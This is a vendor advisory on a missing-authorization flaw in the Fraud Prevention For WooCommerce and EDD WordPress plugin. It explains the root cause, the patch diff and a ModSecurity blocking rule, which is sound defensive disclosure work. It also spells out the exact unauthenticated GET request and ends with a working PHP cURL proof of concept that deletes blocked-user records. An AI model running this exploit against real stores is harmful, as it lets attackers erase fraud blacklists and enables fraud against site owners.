Atomic Edge analysis of CVE-2026-25443:
The Fraud Prevention For WooCommerce and EDD WordPress plugin, versions up to and including 2.3.3, contains a Missing Authorization vulnerability. This flaw allows unauthenticated attackers to trigger the permanent deletion of ‘blocked_user’ post type entries via a direct request. The CVSS score of 7.5 reflects a high-severity integrity impact.
The root cause is the `wcblu_permanent_delete_process()` function in `/admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php`. The vulnerable version, prior to line 2145, lacked any capability check, nonce verification, or post type validation. The function directly accepted a `was_permanent_delete` GET parameter and passed it to the `wcblu_permanent_delete_data()` function. This allowed any unauthenticated user to trigger the deletion action.
Exploitation involves sending a single HTTP GET request to the WordPress admin area. An attacker targets the `/wp-admin/edit.php` endpoint with the parameters `post_type=blocked_user` and `was_permanent_delete={ID}`. The `{ID}` is the numeric post ID of a ‘blocked_user’ entry the attacker wishes to delete. No authentication, cookies, or nonce tokens are required in version 2.3.3 and earlier.
The patch, implemented in version 2.3.4, adds three security layers. First, the link generation in the `wcblu_permanent_delete_action` function (line 2131) now uses `wp_nonce_url` to embed a unique nonce. Second, the `wcblu_permanent_delete_process` function (lines 2145-2161) now checks for the `manage_woocommerce` or `manage_options` capability, blocking unprivileged users. Third, it verifies the received nonce matches the expected action and post ID. Finally, it confirms the target post exists and is of the `blocked_user` type before deletion.
Successful exploitation results in the arbitrary and permanent deletion of ‘blocked_user’ records from the WordPress database. This directly impacts the plugin’s core fraud prevention functionality by allowing an attacker to remove blacklisted users. The attack compromises data integrity and can facilitate fraud by unblocking previously restricted malicious actors.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php
+++ b/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php
@@ -2131,7 +2131,11 @@
*/
function wcblu_permanent_delete_action( $actions, $post ) {
if ( 'blocked_user' === $post->post_type ) {
- $actions['was-delete-permanent'] = '<a href="?post_type=blocked_user&was_permanent_delete=' . $post->ID . '" class="was-permanent-user">' . esc_html__( 'Delete Permanently', 'woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers' ) . '</a>';
+ $delete_url = wp_nonce_url( add_query_arg( array(
+ 'post_type' => 'blocked_user',
+ 'was_permanent_delete' => $post->ID,
+ ), admin_url( 'edit.php' ) ), 'wcblu_permanent_delete_' . $post->ID, '_wcblu_delete_nonce' );
+ $actions['was-delete-permanent'] = '<a href="' . esc_url( $delete_url ) . '" class="was-permanent-user">' . esc_html__( 'Delete Permanently', 'woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers' ) . '</a>';
}
return $actions;
}
@@ -2141,9 +2145,23 @@
*/
function wcblu_permanent_delete_process() {
$unblock_user_id = filter_input( INPUT_GET, 'was_permanent_delete', FILTER_SANITIZE_NUMBER_INT );
- if ( !empty( $unblock_user_id ) ) {
- wcblu_permanent_delete_data( $unblock_user_id );
+ if ( empty( $unblock_user_id ) ) {
+ return;
}
+ // Security: Require admin capability.
+ if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'manage_options' ) ) {
+ return;
+ }
+ // Security: Verify nonce.
+ if ( !isset( $_GET['_wcblu_delete_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wcblu_delete_nonce'] ) ), 'wcblu_permanent_delete_' . $unblock_user_id ) ) {
+ return;
+ }
+ // Security: Ensure we only delete blocked_user posts, not arbitrary content.
+ $post = get_post( $unblock_user_id );
+ if ( !$post instanceof WP_Post || 'blocked_user' !== $post->post_type ) {
+ return;
+ }
+ wcblu_permanent_delete_data( $unblock_user_id );
}
/**
--- a/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/woocommerce-blocker.php
+++ b/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/woocommerce-blocker.php
@@ -16,7 +16,7 @@
* Plugin Name: Fraud Prevention For WooCommerce and EDD
* Plugin URI: https://www.thedotstore.com/
* Description: Prevent fake orders and Blacklist fraud customers allows your WooCommerce store to refuse orders from specific user, based on blacklist rules.
- * Version: 2.3.3
+ * Version: 2.3.4
* Author: theDotstore
* Author URI: https://www.thedotstore.com/
* License: GPL-2.0+
@@ -85,7 +85,7 @@
define( 'WB_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
}
if ( !defined( 'WB_PLUGIN_VERSION' ) ) {
- define( 'WB_PLUGIN_VERSION', '2.3.3' );
+ define( 'WB_PLUGIN_VERSION', '2.3.4' );
}
if ( !defined( 'WB_STORE_URL' ) ) {
define( 'WB_STORE_URL', 'https://www.thedotstore.com/' );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25443
SecRule REQUEST_URI "@streq /wp-admin/edit.php"
"id:100025443,phase:2,deny,status:403,chain,msg:'CVE-2026-25443 - Unauthenticated Blocked User Deletion in Fraud Prevention Plugin',severity:'CRITICAL',tag:'CVE-2026-25443',tag:'WordPress',tag:'Plugin/Fraud-Prevention'"
SecRule ARGS_GET:post_type "@streq blocked_user" "chain"
SecRule ARGS_GET:was_permanent_delete "@rx ^[0-9]+$"
"chain,t:none"
SecRule &ARGS_GET:_wcblu_delete_nonce "@eq 0"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25443 - Fraud Prevention For WooCommerce and EDD <= 2.3.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/edit.php';
$post_id_to_delete = 123; // Replace with the target 'blocked_user' post ID
// Construct the exploit URL. The vulnerable version requires only these two parameters.
$exploit_url = $target_url . '?post_type=blocked_user&was_permanent_delete=' . $post_id_to_delete;
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The attack works without authentication cookies in versions <= 2.3.3.
// Optionally, set CURLOPT_FOLLOWLOCATION to true if redirects occur.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request to trigger the deletion.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the response. A successful deletion may return a 200 OK or a redirect.
echo "Sent GET request to: $exploit_urln";
echo "HTTP Response Code: $http_coden";
if ($http_code >= 200 && $http_code < 300) {
echo "Potential success. The 'blocked_user' post with ID $post_id_to_delete may have been deleted.n";
} else {
echo "Request failed or the site may be patched.n";
}
?>
